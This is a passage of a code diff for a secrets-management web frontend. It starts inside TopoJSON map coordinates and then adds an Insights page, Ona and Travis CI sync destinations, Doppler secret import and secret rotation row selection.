304,104],[327,24],[315,0],[310,11],[278,81],[294,70],[245,162],[261,104],[283,58],[212,162],[152,324],[158,197],[288,-93],[109,-208],[239,-139],[289,46],[196,-208],[206,-151],[283,139],[98,255],[250,104],[289,197],[272,81],[326,116],[218,127],[228,139],[218,127],[261,-69],[250,208],[180,162],[261,-11],[229,139],[54,208],[234,162],[228,116],[278,93],[256,46],[244,-35],[262,-58],[223,-162],[27,-254],[245,-197],[168,-162],[332,-70],[185,-162],[229,-162],[266,-35],[223,116],[240,243],[261,-127],[272,-70],[261,-69],[272,-46],[277,0],[229,-614],[-11,-150],[-33,-267],[-266,-150],[-218,-220],[38,-232],[310,12],[-38,-232],[-141,-220],[-131,-243],[212,-185],[321,-58],[321,104],[153,232],[92,220],[153,185],[174,174],[70,208],[147,289],[174,58],[316,24],[277,69],[283,93],[136,231],[82,220],[190,220],[272,151],[234,115],[153,197],[157,104],[202,93],[277,-58],[250,58],[272,69],[305,-34],[201,162],[142,393],[103,-162],[131,-278],[234,-115],[266,-47],[267,70],[283,-46],[261,-12],[174,58],[234,-35],[212,-127],[250,81],[300,0],[255,81],[289,-81],[185,197],[141,196],[191,163],[348,439],[179,-81],[212,-162],[185,-208],[354,-359],[272,-12],[256,0],[299,70],[299,81],[229,162],[190,174],[310,23],[207,127],[218,-116],[141,-185],[196,-185],[305,23],[190,-150],[332,-151],[348,-58],[288,47],[218,185],[185,185],[250,46],[251,-81],[288,-58],[261,93],[250,0],[245,-58],[256,-58],[250,104],[299,93],[283,23],[316,0],[255,58],[251,46],[76,290],[11,243],[174,-162],[49,-266],[92,-244],[115,-196],[234,-105],[315,35],[365,12],[250,35],[364,0],[262,11],[364,-23],[310,-46],[196,-186],[-54,-220],[179,-173],[299,-139],[310,-151],[360,-104],[375,-92],[283,-93],[315,-12],[180,197],[245,-162],[212,-185],[245,-139],[337,-58],[321,-69],[136,-232],[316,-139],[212,-208],[310,-93],[321,12],[299,-35],[332,12],[332,-47],[310,-81],[288,-139],[289,-116],[195,-173],[-32,-232],[-147,-208],[-125,-266],[-98,-209],[-131,-243],[-364,-93],[-163,-208],[-360,-127],[-125,-232],[-190,-220],[-201,-185],[-115,-243],[-70,-220],[-28,-266],[6,-220],[158,-232],[60,-220],[130,-208],[517,-81],[109,-255],[-501,-93],[-424,-127],[-528,-23],[-234,-336],[-49,-278],[-119,-220],[-147,-220],[370,-196],[141,-244],[239,-219],[338,-197],[386,-186],[419,-185],[636,-185],[142,-289],[800,-128],[53,-45],[208,-175],[767,151],[636,-186],[479,-142],[-99999,0]],[[59092,71341],[19,3],[40,143],[200,-8],[253,176],[-188,-251],[21,-111]],[[59437,71293],[-30,21],[-53,-45],[-42,12],[-14,-22],[-5,59],[-20,37],[-54,6],[-75,-51],[-52,31]],[[59437,71293],[8,-48],[-285,-240],[-136,77],[-64,237],[132,22]],[[45272,63236],[13,274],[106,161],[91,308],[-18,200],[96,417],[155,376],[93,95],[74,344],[6,315],[100,365],[185,216],[177,603],[5,8],[139,227],[259,65],[218,404],[140,158],[232,493],[-70,735],[106,508],[37,312],[179,399],[278,270],[206,244],[186,612],[87,362],[205,-2],[167,-251],[264,41],[288,-131],[121,-6]],[[56944,63578],[0,2175],[0,2101],[-83,476],[71,365],[-43,253],[101,283]],[[56990,69231],[369,10],[268,-156],[275,-175],[129,-92],[214,188],[114,169],[245,49],[198,-75],[75,-293],[65,193],[222,-140],[217,-33],[137,149]],[[59700,68010],[-78,-238],[-60,-446],[-75,-308],[-65,-103],[-93,191],[-125,263],[-198,847],[-29,-53],[115,-624],[171,-594],[210,-920],[102,-321],[90,-334],[249,-654],[-55,-103],[9,-384],[323,-530],[49,-121]],[[53191,70158],[326,-204],[117,51],[232,-98],[368,-264],[130,-526],[250,-114],[391,-248],[296,-293],[136,153],[133,272],[-65,452],[87,288],[200,277],[192,80],[375,-121],[95,-264],[104,-2],[88,-101],[276,-70],[68,-195]],[[59804,53833],[-164,643],[-127,137],[-48,236],[-141,288],[-171,42],[95,337],[147,14],[42,181]],[[61764,57990],[-98,-261],[-94,-277],[22,-163],[4,-180],[155,-10],[67,42],[62,-106]],[[61882,57035],[-61,-209],[103,-325],[102,-285],[106,-210],[909,-702],[233,4]],[[61966,58083],[66,-183],[-9,-245],[-158,-142],[119,-161]],[[61984,57352],[-102,-317]],[[61984,57352],[91,-109],[54,-245],[125,-247],[138,-2],[262,151],[302,70],[245,184],[138,39],[99,108],[158,20]],[[58449,49909],[-166,-182],[-67,60]],[[58564,52653],[115,161],[176,-132],[224,138],[195,-1],[171,272]],[[55279,77084],[100,2],[-69,-260],[134,-227],[-41,-278],[-65,-27]],[[55338,76294],[-52,-53],[-90,-138],[-41,-325]],[[55719,75309],[35,-5],[13,121],[164,91],[62,23]],[[55993,75539],[95,35],[128,9]],[[55993,75539],[-9,44],[33,71],[31,144],[-39,-4],[-54,110],[-46,28],[-36,94],[-52,36],[-40,84],[-50,-33],[-38,-196],[-66,-43]],[[55627,75874],[22,51],[-106,123],[-91,63],[-40,82],[-74,101]],[[55380,75322],[-58,46],[-78,192],[-120,118]],[[55627,75874],[-52,-132]],[[32866,56937],[160,77],[58,-21],[-11,-440],[-232,-65],[-50,53],[81,163],[-6,233]]],"bbox":[-180,-85.60903777459771,180,83.64513000000001],"transform":{"scale":[0.0036000360003600037,0.0016925586033320105],"translate":[-180,-85.60903777459771]}}
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/index.ts b/frontend/src/pages/secret-manager/InsightsPage/components/index.ts
new file mode 100644
index 00000000000..a9930b1066a
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/index.ts
@@ -0,0 +1,8 @@
+export { AuthMethodChart } from "./AuthMethodChart";
+export { CalendarCard } from "./CalendarCard";
+export { CalendarGrid } from "./CalendarGrid";
+export { CalendarLegend } from "./CalendarLegend";
+export { InsightsSummaryCards } from "./InsightsSummaryCards";
+export { SecretAccessChart } from "./SecretAccessChart";
+export type { CalendarEvent } from "./types";
+// export { WorldMap } from "./WorldMap";
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/types.ts b/frontend/src/pages/secret-manager/InsightsPage/components/types.ts
new file mode 100644
index 00000000000..d3974d55a0a
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/types.ts
@@ -0,0 +1,5 @@
+import { TCalendarReminder, TCalendarRotation } from "@app/hooks/api/secretInsights/types";
+
+export type CalendarEvent =
+  | { type: "rotation"; data: TCalendarRotation }
+  | { type: "reminder"; data: TCalendarReminder };
diff --git a/frontend/src/pages/secret-manager/SecretRotationPage/route.tsx b/frontend/src/pages/secret-manager/InsightsPage/route.tsx
similarity index 71%
rename from frontend/src/pages/secret-manager/SecretRotationPage/route.tsx
rename to frontend/src/pages/secret-manager/InsightsPage/route.tsx
index 9add977843a..3a492982903 100644
--- a/frontend/src/pages/secret-manager/SecretRotationPage/route.tsx
+++ b/frontend/src/pages/secret-manager/InsightsPage/route.tsx
@@ -1,17 +1,17 @@
 import { createFileRoute } from "@tanstack/react-router";
 
-import { SecretRotationPage } from "./SecretRotationPage";
+import { InsightsPage } from "./InsightsPage";
 
 export const Route = createFileRoute(
-  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/secret-rotation"
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/insights"
 )({
-  component: SecretRotationPage,
+  component: InsightsPage,
   beforeLoad: ({ context }) => {
     return {
       breadcrumbs: [
         ...context.breadcrumbs,
         {
-          label: "Secret Rotation"
+          label: "Insights"
         }
       ]
     };
diff --git a/frontend/src/pages/secret-manager/IntegrationsDetailsByIDPage/IntegrationsDetailsByIDPage.tsx b/frontend/src/pages/secret-manager/IntegrationsDetailsByIDPage/IntegrationsDetailsByIDPage.tsx
index 9043c35efb2..2ac031b22ee 100644
--- a/frontend/src/pages/secret-manager/IntegrationsDetailsByIDPage/IntegrationsDetailsByIDPage.tsx
+++ b/frontend/src/pages/secret-manager/IntegrationsDetailsByIDPage/IntegrationsDetailsByIDPage.tsx
@@ -40,7 +40,7 @@ export const IntegrationDetailsByIDPage = () => {
   });
 
   const { data: integration } = useGetIntegration(integrationId, {
-    refetchInterval: 4000
+    refetchInterval: 30_000
   });
 
   const [shouldDeleteSecrets, setShouldDeleteSecrets] = useToggle(false);
diff --git a/frontend/src/pages/secret-manager/IntegrationsDetailsByIDPage/components/IntegrationAuditLogsSection.tsx b/frontend/src/pages/secret-manager/IntegrationsDetailsByIDPage/components/IntegrationAuditLogsSection.tsx
index fc0e31245bc..13ba3512595 100644
--- a/frontend/src/pages/secret-manager/IntegrationsDetailsByIDPage/components/IntegrationAuditLogsSection.tsx
+++ b/frontend/src/pages/secret-manager/IntegrationsDetailsByIDPage/components/IntegrationAuditLogsSection.tsx
@@ -30,7 +30,7 @@ export const IntegrationAuditLogsSection = ({ integration }: Props) => {
         </p>
       </div>
       <LogsSection
-        refetchInterval={4000}
+        refetchInterval={15_000}
         showFilters={false}
         project={currentProject}
         presets={{
diff --git a/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/SecretSyncDestinationCol/OnaSyncDestinationCol.tsx b/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/SecretSyncDestinationCol/OnaSyncDestinationCol.tsx
new file mode 100644
index 00000000000..026d6fdbdf3
--- /dev/null
+++ b/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/SecretSyncDestinationCol/OnaSyncDestinationCol.tsx
@@ -0,0 +1,14 @@
+import { TOnaSync } from "@app/hooks/api/secretSyncs/types/ona-sync";
+
+import { getSecretSyncDestinationColValues } from "../helpers";
+import { SecretSyncTableCell } from "../SecretSyncTableCell";
+
+type Props = {
+  secretSync: TOnaSync;
+};
+
+export const OnaSyncDestinationCol = ({ secretSync }: Props) => {
+  const { primaryText, secondaryText } = getSecretSyncDestinationColValues(secretSync);
+
+  return <SecretSyncTableCell primaryText={primaryText} secondaryText={secondaryText} />;
+};
diff --git a/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/SecretSyncDestinationCol/SecretSyncDestinationCol.tsx b/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/SecretSyncDestinationCol/SecretSyncDestinationCol.tsx
index 571353c10f2..0667762db8f 100644
--- a/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/SecretSyncDestinationCol/SecretSyncDestinationCol.tsx
+++ b/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/SecretSyncDestinationCol/SecretSyncDestinationCol.tsx
@@ -29,11 +29,13 @@ import { NetlifySyncDestinationCol } from "./NetlifySyncDestinationCol";
 import { NorthflankSyncDestinationCol } from "./NorthflankSyncDestinationCol";
 import { OCIVaultSyncDestinationCol } from "./OCIVaultSyncDestinationCol";
 import { OctopusDeploySyncDestinationCol } from "./OctopusDeploySyncDestinationCol";
+import { OnaSyncDestinationCol } from "./OnaSyncDestinationCol";
 import { RailwaySyncDestinationCol } from "./RailwaySyncDestinationCol";
 import { RenderSyncDestinationCol } from "./RenderSyncDestinationCol";
 import { SupabaseSyncDestinationCol } from "./SupabaseSyncDestinationCol";
 import { TeamCitySyncDestinationCol } from "./TeamCitySyncDestinationCol";
 import { TerraformCloudSyncDestinationCol } from "./TerraformCloudSyncDestinationCol";
+import { TravisCISyncDestinationCol } from "./TravisCISyncDestinationCol";
 import { VercelSyncDestinationCol } from "./VercelSyncDestinationCol";
 import { WindmillSyncDestinationCol } from "./WindmillSyncDestinationCol";
 import { ZabbixSyncDestinationCol } from "./ZabbixSyncDestinationCol";
@@ -118,6 +120,10 @@ export const SecretSyncDestinationCol = ({ secretSync }: Props) => {
       return <AzureEntraIdScimSyncDestinationCol secretSync={secretSync} />;
     case SecretSync.ExternalInfisical:
       return <ExternalInfisicalSyncDestinationCol secretSync={secretSync} />;
+    case SecretSync.Ona:
+      return <OnaSyncDestinationCol secretSync={secretSync} />;
+    case SecretSync.TravisCI:
+      return <TravisCISyncDestinationCol secretSync={secretSync} />;
     default:
       throw new Error(
         `Unhandled Secret Sync Destination Col: ${(secretSync as TSecretSync).destination}`
diff --git a/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/SecretSyncDestinationCol/TravisCISyncDestinationCol.tsx b/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/SecretSyncDestinationCol/TravisCISyncDestinationCol.tsx
new file mode 100644
index 00000000000..0fc776df74a
--- /dev/null
+++ b/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/SecretSyncDestinationCol/TravisCISyncDestinationCol.tsx
@@ -0,0 +1,14 @@
+import { TTravisCISync } from "@app/hooks/api/secretSyncs/types/travis-ci-sync";
+
+import { getSecretSyncDestinationColValues } from "../helpers";
+import { SecretSyncTableCell } from "../SecretSyncTableCell";
+
+type Props = {
+  secretSync: TTravisCISync;
+};
+
+export const TravisCISyncDestinationCol = ({ secretSync }: Props) => {
+  const { primaryText, secondaryText } = getSecretSyncDestinationColValues(secretSync);
+
+  return <SecretSyncTableCell primaryText={primaryText} secondaryText={secondaryText} />;
+};
diff --git a/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/helpers/index.ts b/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/helpers/index.ts
index 974fcc1051d..4a00c606960 100644
--- a/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/helpers/index.ts
+++ b/frontend/src/pages/secret-manager/IntegrationsListPage/components/SecretSyncsTab/SecretSyncTable/helpers/index.ts
@@ -96,7 +96,13 @@ export const getSecretSyncDestinationColValues = (secretSync: TSecretSync) => {
     case SecretSync.Vercel:
       if (destinationConfig.scope === VercelSyncScope.Team) {
         primaryText = destinationConfig.teamName || destinationConfig.teamId;
-        secondaryText = destinationConfig.targetEnvironments.join(", ");
+        const envLabels = destinationConfig.targetEnvironments.map(
+          (env) => env.charAt(0).toUpperCase() + env.slice(1)
+        );
+        if (destinationConfig.applyToAllCustomEnvironments) {
+          envLabels.push("All Custom Environments");
+        }
+        secondaryText = envLabels.join(", ") || "All Custom Environments";
       } else {
         primaryText = destinationConfig.appName || destinationConfig.app;
         secondaryText = destinationConfig.env;
@@ -233,6 +239,16 @@ export const getSecretSyncDestinationColValues = (secretSync: TSecretSync) => {
       primaryText = destinationConfig.projectId;
       secondaryText = `${destinationConfig.environment} - ${destinationConfig.secretPath}`;
       break;
+    case SecretSync.Ona:
+      primaryText = destinationConfig.projectName || destinationConfig.projectId;
+      secondaryText = "Ona Project";
+      break;
+    case SecretSync.TravisCI:
+      primaryText = destinationConfig.repositorySlug;
+      secondaryText = destinationConfig.branch
+        ? `Branch - ${destinationConfig.branch}`
+        : "Repository";
+      break;
     default:
       throw new Error(`Unhandled Destination Col Values ${destination}`);
   }
diff --git a/frontend/src/pages/secret-manager/OverviewPage/OverviewPage.tsx b/frontend/src/pages/secret-manager/OverviewPage/OverviewPage.tsx
index 09e968a125a..0777c0ba234 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/OverviewPage.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/OverviewPage.tsx
@@ -41,6 +41,7 @@ import {
   PageHeader
 } from "@app/components/v2";
 import {
+  Alert,
   AlertDialog,
   AlertDialogAction,
   AlertDialogCancel,
@@ -50,39 +51,38 @@ import {
   AlertDialogHeader,
   AlertDialogMedia,
   AlertDialogTitle,
+  AlertTitle,
   Badge,
   Button,
+  Card,
+  CardContent,
+  CardHeader,
   Checkbox,
   Dialog,
   DialogContent,
   DialogDescription,
   DialogHeader,
   DialogTitle,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Pagination,
   Sheet,
   SheetContent,
   SheetDescription,
   SheetHeader,
   SheetTitle,
   Skeleton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableAlert,
-  UnstableAlertTitle,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { apiRequest } from "@app/config/request";
 import { ROUTE_PATHS } from "@app/const/routes";
@@ -108,7 +108,6 @@ import {
   setUserTablePreference
 } from "@app/helpers/userTablePreferences";
 import {
-  useDebounce,
   useLocalStorageState,
   usePagination,
   usePopUp,
@@ -142,10 +141,14 @@ import { TDynamicSecret } from "@app/hooks/api/dynamicSecret/types";
 import { useGetFolderCommitsCount } from "@app/hooks/api/folderCommits";
 import { OrderByDirection } from "@app/hooks/api/generic/types";
 import {
-  useGetVaultExternalMigrationConfigs,
+  useGetExternalMigrationConfigs,
+  useImportDopplerSecrets,
   useImportVaultSecrets
 } from "@app/hooks/api/migration";
-import { VaultImportStatus } from "@app/hooks/api/migration/types";
+import {
+  ExternalMigrationImportStatus,
+  ExternalMigrationProviders
+} from "@app/hooks/api/migration/types";
 import { ProjectType, ProjectVersion } from "@app/hooks/api/projects/types";
 import { useUpdateFolderBatch } from "@app/hooks/api/secretFolders/queries";
 import { PendingAction, TUpdateFolderBatchDTO } from "@app/hooks/api/secretFolders/types";
@@ -178,6 +181,7 @@ import { RequestAccessModal } from "@app/pages/secret-manager/SecretApprovalsPag
 
 import { CreateDynamicSecretForm } from "../SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm";
 import { CreateSecretImportForm } from "../SecretDashboardPage/components/ActionBar/CreateSecretImportForm";
+import { DopplerSecretImportModal } from "../SecretDashboardPage/components/ActionBar/DopplerSecretImportModal";
 import { FolderForm } from "../SecretDashboardPage/components/ActionBar/FolderForm";
 import { ReplicateFolderFromBoard } from "../SecretDashboardPage/components/ActionBar/ReplicateFolderFromBoard/ReplicateFolderFromBoard";
 import { VaultSecretImportModal } from "../SecretDashboardPage/components/ActionBar/VaultSecretImportModal";
@@ -227,7 +231,8 @@ type TSecOverwriteOpt = { update: TParsedEnv; create: TParsedEnv };
 
 export enum EntryType {
   FOLDER = "folder",
-  SECRET = "secret"
+  SECRET = "secret",
+  SECRET_ROTATION = "secretRotation"
 }
 
 export enum RowType {
@@ -282,14 +287,24 @@ const OverviewPageContent = () => {
   const isProjectV3 = currentProject?.version === ProjectVersion.V3;
   const projectSlug = currentProject?.slug as string;
   const [searchFilter, setSearchFilter] = useState("");
-  const [debouncedSearchFilter, setDebouncedSearchFilter] = useDebounce(searchFilter);
   const secretPath = (routerSearch?.secretPath as string) || "/";
   const { subscription } = useSubscription();
   const { hasOrgRole } = useOrgPermission();
   const isOrgAdmin = hasOrgRole(OrgMembershipRole.Admin);
-  const { data: vaultConfigs = [] } = useGetVaultExternalMigrationConfigs();
+  const { data: vaultConfigs = [] } = useGetExternalMigrationConfigs(
+    ExternalMigrationProviders.Vault
+  );
   const hasVaultConnection = vaultConfigs.some((config) => config.connectionId);
+  const { data: dopplerConfigs = [] } = useGetExternalMigrationConfigs(
+    ExternalMigrationProviders.Doppler
+  );
+  const dopplerImportConfigs = useMemo(
+    () => dopplerConfigs.filter((c) => c.connectionId),
+    [dopplerConfigs]
+  );
+  const hasDopplerConnection = dopplerImportConfigs.length > 0;
   const { mutateAsync: importVaultSecrets } = useImportVaultSecrets();
+  const { mutateAsync: importDopplerSecrets } = useImportDopplerSecrets();
   const prevPageSize = useRef(0);
 
   const canReadCommits = permission.can(
@@ -322,9 +337,11 @@ const OverviewPageContent = () => {
     // selectedEntries[name/key][envSlug][resource]
     [EntryType.FOLDER]: Record<string, Record<string, TSecretFolder>>;
     [EntryType.SECRET]: Record<string, Record<string, SecretV3RawSanitized>>;
+    [EntryType.SECRET_ROTATION]: Record<string, Record<string, TSecretRotationV2>>;
   }>({
     [EntryType.FOLDER]: {},
-    [EntryType.SECRET]: {}
+    [EntryType.SECRET]: {},
+    [EntryType.SECRET_ROTATION]: {}
   });
 
   const {
@@ -349,7 +366,8 @@ const OverviewPageContent = () => {
   const resetSelectedEntries = useCallback(() => {
     setSelectedEntries({
       [EntryType.FOLDER]: {},
-      [EntryType.SECRET]: {}
+      [EntryType.SECRET]: {},
+      [EntryType.SECRET_ROTATION]: {}
     });
   }, []);
 
@@ -539,7 +557,7 @@ const OverviewPageContent = () => {
       includeSecrets: activeTagSlugs.length > 0 || (isFilteredByResources ? filter.secret : true),
       includeImports: isFilteredByResources ? (filter[RowType.SecretImport] ?? true) : true,
       includeSecretRotations: isFilteredByResources ? filter.rotation : true,
-      search: debouncedSearchFilter,
+      search: searchFilter,
       tags: tagFilter,
       limit,
       offset
@@ -746,6 +764,7 @@ const OverviewPageContent = () => {
     "deleteEnv",
     "requestAccess",
     "importFromVault",
+    "importFromDoppler",
     "confirmDisableBatchMode"
   ] as const);
 
@@ -778,7 +797,6 @@ const OverviewPageContent = () => {
 
       if (search) {
         setSearchFilter(search as string);
-        setDebouncedSearchFilter(search as string);
       }
     }
   }, [routerSearch.search, routerSearch.filterBy]);
@@ -818,28 +836,54 @@ const OverviewPageContent = () => {
     handlePopUpOpen("addSecretImport");
   };
 
-  const handleVaultImport = async (vaultPath: string, namespace: string) => {
-    const result = await importVaultSecrets({
+  const handleVaultImport = async (vaultPaths: string[], namespace: string) => {
+    const { status } = await importVaultSecrets({
       projectId,
       environment: singleEnvSlug,
       secretPath,
       vaultNamespace: namespace,
-      vaultSecretPath: vaultPath
+      vaultSecretPaths: vaultPaths
     });
 
-    if (result.status === VaultImportStatus.ApprovalRequired) {
+    if (status === ExternalMigrationImportStatus.ApprovalRequired) {
       createNotification({
         type: "info",
-        text: "Secret change request created successfully. Awaiting approval."
+        text:
+          vaultPaths.length > 1
+            ? `Secret change request created for ${vaultPaths.length} Vault paths. Awaiting approval.`
+            : "Secret change request created successfully. Awaiting approval."
       });
     } else {
       createNotification({
         type: "success",
-        text: "Successfully imported secrets from HashiCorp Vault"
+        text:
+          vaultPaths.length > 1
+            ? `Successfully imported secrets from ${vaultPaths.length} HashiCorp Vault paths`
+            : "Successfully imported secrets from HashiCorp Vault"
       });
     }
   };
 
+  const handleDopplerImport = async (
+    dopplerProject: string,
+    dopplerEnvironment: string,
+    configId: string
+  ) => {
+    await importDopplerSecrets({
+      configId,
+      dopplerProject,
+      dopplerEnvironment,
+      targetProjectId: projectId,
+      targetEnvironment: singleEnvSlug,
+      targetSecretPath: secretPath
+    });
+
+    createNotification({
+      type: "success",
+      text: "Successfully imported secrets from Doppler"
+    });
+  };
+
   const handleFolderCreate = async (folderName: string, description: string | null) => {
     if (isBatchModeActive && singleVisibleEnv) {
       if (isFolderPresentInEnv(folderName, singleVisibleEnv.slug)) {
@@ -1716,7 +1760,7 @@ const OverviewPageContent = () => {
     if (isFilteredByResources && !filter.secret && !activeTagSlugs.length) return secKeys;
 
     const result = [...secKeys];
-    const searchLower = debouncedSearchFilter.toLowerCase();
+    const searchLower = searchFilter.toLowerCase();
     pendingChanges.secrets.forEach((change) => {
       if (change.type === PendingAction.Create && !result.includes(change.secretKey)) {
         if (!searchLower || change.secretKey.toLowerCase().includes(searchLower)) {
@@ -1729,7 +1773,7 @@ const OverviewPageContent = () => {
     secKeys,
     isBatchModeActive,
     pendingChanges.secrets,
-    debouncedSearchFilter,
+    searchFilter,
     isFilteredByResources,
     filter.secret
   ]);
@@ -1825,7 +1869,7 @@ const OverviewPageContent = () => {
     // If resource filter is active and folders are excluded, skip pending folder creates
     const includePendingFolderCreates = !isFilteredByResources || filter.folder;
 
-    const searchLower = debouncedSearchFilter.toLowerCase();
+    const searchLower = searchFilter.toLowerCase();
     pendingChanges.folders.forEach((change) => {
       if (change.type === PendingAction.Create) {
         if (
@@ -1865,7 +1909,7 @@ const OverviewPageContent = () => {
     folderNamesAndDescriptions,
     isBatchModeActive,
     pendingChanges.folders,
-    debouncedSearchFilter,
+    searchFilter,
     isFilteredByResources,
     filter.folder
   ]);
@@ -1995,7 +2039,6 @@ const OverviewPageContent = () => {
     setFilter(restore?.filter ?? DEFAULT_FILTER_STATE);
     const el = restore?.searchFilter ?? "";
     setSearchFilter(el);
-    setDebouncedSearchFilter(el);
   };
 
   const handleFolderClick = (path: string) => {
@@ -2016,7 +2059,6 @@ const OverviewPageContent = () => {
     }).then(() => {
       setFilter(DEFAULT_FILTER_STATE);
       setSearchFilter("");
-      setDebouncedSearchFilter("");
     });
   };
 
@@ -2050,24 +2092,28 @@ const OverviewPageContent = () => {
   }, []);
 
   const allRowsSelectedOnPage = useMemo(() => {
-    if (!secrets?.length && !folders?.length) return { isChecked: false, isIndeterminate: false };
+    if (!secrets?.length && !folders?.length && !secretRotationNames?.length)
+      return { isChecked: false, isIndeterminate: false };
 
     if (
       (!secrets?.length ||
         secrets?.every((secret) => selectedEntries[EntryType.SECRET][secret.key])) &&
       (!folders?.length ||
-        folders?.every((folder) => selectedEntries[EntryType.FOLDER][folder.name]))
+        folders?.every((folder) => selectedEntries[EntryType.FOLDER][folder.name])) &&
+      (!secretRotationNames?.length ||
+        secretRotationNames?.every((name) => selectedEntries[EntryType.SECRET_ROTATION][name]))
     )
       return { isChecked: true, isIndeterminate: false };
 
     if (
       secrets?.some((secret) => selectedEntries[EntryType.SECRET][secret.key]) ||
-      folders?.some((folder) => selectedEntries[EntryType.FOLDER][folder.name])
+      folders?.some((folder) => selectedEntries[EntryType.FOLDER][folder.name]) ||
+      secretRotationNames?.some((name) => selectedEntries[EntryType.SECRET_ROTATION][name])
     )
       return { isChecked: true, isIndeterminate: true };
 
     return { isChecked: false, isIndeterminate: false };
-  }, [selectedEntries, secrets, folders]);
+  }, [selectedEntries, secrets, folders, secretRotationNames]);
 
   const toggleSelectedEntry = useCallback(
     (type: EntryType, key: string) => {
@@ -2080,10 +2126,14 @@ const OverviewPageContent = () => {
       } else {
         newChecks[type][key] = {};
         userAvailableEnvs.forEach((env) => {
-          const resource =
-            type === EntryType.SECRET
-              ? getSecretByKey(env.slug, key)
-              : getFolderByNameAndEnv(key, env.slug);
+          let resource;
+          if (type === EntryType.SECRET) {
+            resource = getSecretByKey(env.slug, key);
+          } else if (type === EntryType.FOLDER) {
+            resource = getFolderByNameAndEnv(key, env.slug);
+          } else {
+            resource = getSecretRotationByName(env.slug, key);
+          }
 
           if (resource) newChecks[type][key][env.slug] = resource;
         });
@@ -2091,7 +2141,7 @@ const OverviewPageContent = () => {
 
       setSelectedEntries(newChecks);
     },
-    [selectedEntries, getFolderByNameAndEnv, getSecretByKey]
+    [selectedEntries, getFolderByNameAndEnv, getSecretByKey, getSecretRotationByName]
   );
 
   const toggleSelectAllRows = () => {
@@ -2123,6 +2173,19 @@ const OverviewPageContent = () => {
           if (resource) newChecks[EntryType.FOLDER][folder.name][env.slug] = resource;
         }
       });
+
+      secretRotationNames?.forEach((rotationName) => {
+        if (allRowsSelectedOnPage.isChecked) {
+          delete newChecks[EntryType.SECRET_ROTATION][rotationName];
+        } else {
+          if (!newChecks[EntryType.SECRET_ROTATION][rotationName])
+            newChecks[EntryType.SECRET_ROTATION][rotationName] = {};
+
+          const resource = getSecretRotationByName(env.slug, rotationName);
+
+          if (resource) newChecks[EntryType.SECRET_ROTATION][rotationName][env.slug] = resource;
+        }
+      });
     });
 
     setSelectedEntries(newChecks);
@@ -2284,7 +2347,7 @@ const OverviewPageContent = () => {
         ProjectPermissionSecretActions.Create,
         ProjectPermissionSub.Secrets
       );
-      if (isTableFiltered || debouncedSearchFilter || cannotCreate) return "filter-empty" as const;
+      if (isTableFiltered || searchFilter || cannotCreate) return "filter-empty" as const;
       return "add-first-secret" as const;
     }
     return "table" as const;
@@ -2367,8 +2430,8 @@ const OverviewPageContent = () => {
           visibleEnvs={visibleEnvs}
         />
 
-        <UnstableCard>
-          <UnstableCardHeader>
+        <Card>
+          <CardHeader>
             <div className="flex flex-col gap-3 overflow-hidden dashboard:flex-row dashboard:items-center">
               <div className="flex flex-1 items-center gap-x-3 overflow-hidden whitespace-nowrap dashboard:mr-auto">
                 <EnvironmentSelect
@@ -2400,6 +2463,7 @@ const OverviewPageContent = () => {
                   />
                 )}
                 <ResourceSearchInput
+                  key={secretPath}
                   value={searchFilter}
                   tags={tags}
                   onChange={setSearchFilter}
@@ -2440,21 +2504,23 @@ const OverviewPageContent = () => {
                     isSecretImportAvailable={userAvailableSecretImportEnvs.length > 0}
                     isSingleEnvSelected={isSingleEnvView}
                     hasVaultConnection={hasVaultConnection}
+                    hasDopplerConnection={hasDopplerConnection}
                     isOrgAdmin={isOrgAdmin}
                     onImportFromVault={() => handlePopUpOpen("importFromVault")}
+                    onImportFromDoppler={() => handlePopUpOpen("importFromDoppler")}
                   />
                 )}
               </div>
             </div>
-          </UnstableCardHeader>
-          <UnstableCardContent>
+          </CardHeader>
+          <CardContent>
             {isSingleEnvView &&
               hasPathPolicies &&
               // eslint-disable-next-line no-nested-ternary
               (!canReadSecrets ? (
-                <UnstableAlert variant="info" className="mb-6 py-1.5">
+                <Alert variant="info" className="mb-6 py-1.5">
                   <InfoIcon className="mt-1" />
-                  <UnstableAlertTitle className="flex items-center">
+                  <AlertTitle className="flex items-center">
